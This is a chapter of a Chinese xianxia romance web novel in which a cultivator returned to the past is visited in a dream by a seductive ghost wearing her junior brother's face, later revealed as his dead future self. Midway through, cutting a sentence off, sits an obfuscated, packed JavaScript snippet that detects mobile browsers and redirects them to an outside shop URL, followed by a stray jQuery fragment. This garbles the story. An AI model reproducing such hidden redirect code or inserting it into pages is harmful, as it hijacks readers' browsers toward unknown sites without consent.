她遇鬼了。

    冉棠长睫微颤。

    她已经很多年未曾遇见鬼物了。

    可即便她被压制到练气境,但在朝暮剑宗内,剑宗护山大阵未破,寻常妖物鬼物靠近不得,这东西是怎么进来的?

    “师姐怎么不看我?”那鬼物贴在她耳边说话,唇瓣擦过她的耳垂,透着股森森凉意。

    竟还能化形?

    “呼。”似乎是以为她不肯睁眼,这鬼物对准她的双眼吹了口气。

    冉棠眼皮蓦地一松,缓缓睁了眼,只是方才挣扎时太过用力,泛出的泪珠子糊了眼,屋内又未曾点灯,只有些微月光透进来,一时之间,只看得些模糊的虚影重叠。

    那鬼物倒是胆大包天,见她睁眼,不仅不知收敛,竟还继续往她怀里蹭了蹭,冰凉的气息落在她的脖颈之间:“师姐……”

    “……”

    “怎么哭了?”见冉棠迟迟没有动静,那鬼物才半撑着手起来看她,手指微动,便点了灯,冰凉的指腹抹过冉棠眼角的泪水。

    借着这微弱的光。冉棠终于看清了这鬼物的模样。

    寻常鬼物,往往青面惨容,亦或是乌发覆面,形容恐怖。

    可这个……

    商玉?

    冉棠睁眼的一瞬不由一愣。

    只见这鬼物生了张和商玉一模一样的脸。

    眼瞳黑亮如墨,眼尾微垂,长睫覆下,映出浅浅的阴影。

    白到透明的一张脸,唇红似血,衣服穿得松松垮垮,周身散着股鬼气,容色昳丽,恰似书中艳鬼。

    可这世间唯有凡人能死而化鬼。

    修士若非一开始便入鬼道,死后只会烟消云散。

    况且,此刻正在八百年前,商玉还活着。

    怔愣片刻后,冉棠便反应过来——

    这鬼物怕是照着商玉的模样化了形。

    见冉棠还是不说话,这借了商玉脸的鬼物凑上前来,伸手轻触冉棠被泪沾湿的睫毛,轻声逗她:“师姐怎么不理我?”

    他张嘴说话,却无气息,修长的手指将冉棠脸侧的碎发拨开,一番动作之后,身上本就宽松的衣服更加松散。

    冉棠对鬼物一道了解不多。

    只知鬼物缠身,必有所求,或是寻仇,或是吸食凡人生气,或是贪图修士灵力。

    如今,她只得练气境,被这鬼物钳制……

    “你想如何?”

    她开了口。

    寻常遇鬼,生人最忌讳随意与鬼物搭话,只是她修行日久,即便此刻境界回落,倒也不怕被这鬼物哄骗。

    这鬼物似乎也没料到这般轻易地就诓着她开了口,微微一顿后,便顶着商玉的脸笑了出来:“我若开口,无论什么师姐都会应吗?”

    “你且说说。”

    冉棠平静地看着这只艳鬼。

    “……”

    这鬼物见状,这次倒是没有立即接话,只是贴着冉棠脸侧的手一点一点下滑,落到冉棠的脖颈处,这才弯着眼开口:“师姐不怕我要你的命吗?”

    “你身上没有杀意。”

    鬼物和人不同。

    人心易藏,有人笑意盈盈之间,也可取他人性命。

    可鬼物没了人的躯壳,即便化了形,若生出了杀心,杀意想藏也藏不住。

    因而,这鬼物并不贪图她的性命。

    果然,闻言,这鬼物眼中笑意更甚,转而握住冉棠身侧的手,夸道:“师姐好聪明。”

    “我确实不图师姐的性命。”

    “我想与师姐双修。”

    这鬼物笑意盈盈,大放厥词。

    他冰凉的手握紧冉棠的手腕,唇瓣蹭过冉棠的指尖,脸上多了丝淡淡的绯色,“师姐可愿成全?”

    双修。

    哈。

    自从飞升历劫开始,这荒唐之事就没停过。

    不过一日之前,她还在天雷之下,意图飞升。

    如今却被一鬼物压着,要与她双修。

    冉棠面上波澜不惊,心里却有种荒谬之后的死寂之感。

    好巧不巧,这鬼物还偏偏借了商玉的脸。

    看着眼前这张“罪魁祸首”的脸,鬼使神差地,冉棠竟想起商玉死前那句膈应她的话——

    “我好像越来越喜欢师姐了。”

    一时失神。

    “师姐……是在想谁吗。”指尖被这鬼物轻轻掐了掐,这鬼物察觉到她的走神,眼睛里故意漏出几分哀怨,“是我这张脸还不够好看?师姐竟当着我的面想着旁的人。”

    自然是好看的。

    冉棠回神,目光落在这张脸上。

    世间美人甚多,有的骨相绝佳,有的皮相出尘,而商玉,他的骨相和皮相都称得上是无可挑剔,因而笑起来格外好看。

    也难怪这鬼物要顶着商玉的脸来求双修。

    没有搭理这鬼物的问话,冉棠干脆利落地拒绝了他的要求:“我不会与你双修。”

    如今重回八百年前,要再走一遍修仙之路,虽已经有了先前的诸多经验,但冉棠却还是不敢懈怠,双修这种取巧的修行方式,以她的天赋,实在没必要。

    冉棠目光清明:“你想修行,我可指点你,双修这种讨巧的方式,长此以往,并无好处。”

    冉棠自觉自己说得在理,鬼物修行往往是有执念未了,最常见的便是寻仇,这鬼物既然已经能化形,便算有点本事,不如正经修炼,好早日了却执念。

    她一个渡劫境,指点一只鬼物还是绰绰有余的。

    “敢问师姐……”这鬼物却勾了勾唇,俯身靠近冉棠,伸手捏了捏冉棠脸颊软肉,“师姐如今不过练气境,该如何指点我修行。”

    ……冉棠呼吸一顿,被一句“不过练气境”戳了心窝子。

    她现在若非身处练气境,这鬼物怕是早就又死一次了。

    见她吃瘪,这鬼物笑得很是开心,肩头一抖一抖的,眉目间泛出潋滟春色,冲散了几分阴森鬼气。

    冉棠眼睁睁地看着自己被一只鬼物嘲笑,尤其是他还顶着商玉的脸,只觉虎落平阳不过如是,索性双眼一闭,干脆眼不见为净。

    笑了好一会儿,这鬼物才堪堪止住笑意,不死心地将脸贴到她的掌心蹭了蹭,冰凉的发丝在她锁骨处滑来滑去,泛起一阵痒意,有意无意地勾引:“师姐,真的不试试吗?我会让你满意的。”

    他模仿着活人的呼吸,两股气息纠缠,暧昧丛生。

    良久。

    “不试。”

    冉棠的声音落地。

    士可杀不可辱。

    双修是不可能双修的,还顶着商玉的脸,就更不可能了。

    “……”这鬼物悠悠地叹了口气,眉目间染上丝丝哀怨,“就算师姐可怜我,也不行吗?”

    谁家好人可怜人是要和鬼物双修的。

    冉棠抿了抿唇,这鬼物并无杀心,可纠缠下去没个结果,鬼气入她体内也不是好事。

    “…你有何可怜之事?姓甚名谁,家在何处,又因何而死?”冉棠试着与这鬼物搭话,“我虽是练气境,却是朝暮剑宗宗主亲传,或许能帮你。”

    人死后化鬼,多是执念怨气难平,这鬼物未成厉鬼,若能了他执念,就有超度之可能,便也不会再纠缠她了。

    这鬼物闻言一愣,半晌好似恍然,敛眸轻笑了声:“姓甚名谁,家在何处,因何而死?”

    “师姐要渡我吗?”

    “你先说说。”

    “无名无姓,被心上人手刃而死。”

    这鬼物笑着看向她,目光深邃,带着冉棠的手落到他心口处,冰凉凉的一片:“一剑穿心,好生无情呐。”

    懂了,情杀。

    冉棠严肃地点了点头。

    这种事很是麻烦,若是仇杀,只要让这鬼物

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631897|206397||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    消气即可。

    情杀……就很麻烦了,

    忆及从前处理过的麻烦事,冉棠觉得自己得问清楚些:“可还记得你心上人的样子。”

    “当然。”

    “想杀了她?”

    “自然不想,师姐若有法子,让她爱我……或是恨我也行。”

    “……”闻言,冉棠一哽,果然,情杀易出神经病。

    一时语塞。

    那厢这鬼物似乎觉得冉棠这模样十分有趣,闷笑出声,目光不着痕迹地扫过窗外,俯身靠近,轻声:“我心上之人那一剑漂亮极了,捣碎我的肉身,毁了我的神魂……”

    说到此处,他贴着冉棠耳垂的唇瓣微微发抖,长而密的睫毛也跟着发颤,眼尾处泛出异样的浅红。

    “所以…师姐,这次,也一定不要手软啊。”

    什么意思?

    不待冉棠发问,一直压制着她的那股力量倏忽消失,冉棠呼吸一窒,僵住的四肢恢复力量,翻身坐起,睁眼。

    一室空寂。

    窗外已入夜,淅淅沥沥地落着雨。

    屋内,安安静静,只她一人。

    只是……冉棠轻轻捻了捻指尖,她鼻尖还萦绕着方才那艳鬼身上的香气。

    艳鬼入梦。

    呆坐良久,冉棠起身,那鬼物冰凉的气息似乎还残留在她肌肤上。

    “噔噔噔”

    “噔噔噔”

    不待她仔细思忖,急促的敲门声响起。

    “师姐?”

    这次不是梦了。

    又听到师姐这个称谓,冉棠耳后一凉,还是起身开了门。

    门外,是和方才梦里的是同一张脸,只是眼前人稍显得稚气了些,十六岁的年纪,身量身形都还未完全长开,穿着单薄的外衣,长发微润,些许碎发耷拉在脸侧额间,弱化了他脸上的英气,漂亮得雌雄难辨。

    “师姐,你没事吧?”

    少年神情颇为关切。

    “无事。”冉棠自不可能将遇鬼一事说与商玉听。

    “无事便好。”少年神色微松,“师姐今夜未赴约,我还以为是出了什么事。”

    “可惜了那只香酥鸭。”商玉笑着打趣。

    “明晚——”

    “师弟,往后不用喊我了。”冉棠借着机会打断他的话,这张脸她今日看了太多次,实在是想缓上一段日子。

    商玉一怔,倒也没有强求,含笑应下:“好。”

    门吱呀一声关上。

    少年垂着眼,密黑的眼睫颤了颤,如今正值谷雨节气,夜里多雨,他淋着雨过来,想着这样瞧着大概可怜些。

    师姐心软,与情事上一窍不通,与人性上多少还是能分他些眼神。

    可惜……商玉垂眼看向脚下的一滩水渍,方才师姐开门的一瞬,那股熟悉的香气……

    他忽地一笑,转身掐着避水决一路走回了自己的住处。

    吱呀一声,推门。

    满屋红线密密麻麻交织在一起,商玉驾轻就熟地穿过红线进了屋,坐到一面铜镜前。

    “说了别去纠缠她。”

    镜中少年稍显稚气的脸冷沉下来,

    他抬手擦掉铜镜上的雾气。

    露出一双格外干净的眼睛。

    呲的一声——

    短刃出鞘,下一瞬。

    镜中人左眼便渗出汩汩鲜血。

    少年面无表情地拔下短刃,剧痛之下,他的唇色泛白,背后冷汗津津,盯着铜镜中那张几乎和他一模一样的脸,启唇——

    “你已经死了,商玉。”

    镜中寄身在左眼那缕幽魂,被一刃截断魂体散去,回笼后,浅淡不少。

    看着那只鲜血淋漓的左眼,幽魂勾了勾唇,并未动怒。

    “但你还活着啊,小商玉。”

    “拥有我所有记忆的你,今日见她,如何?”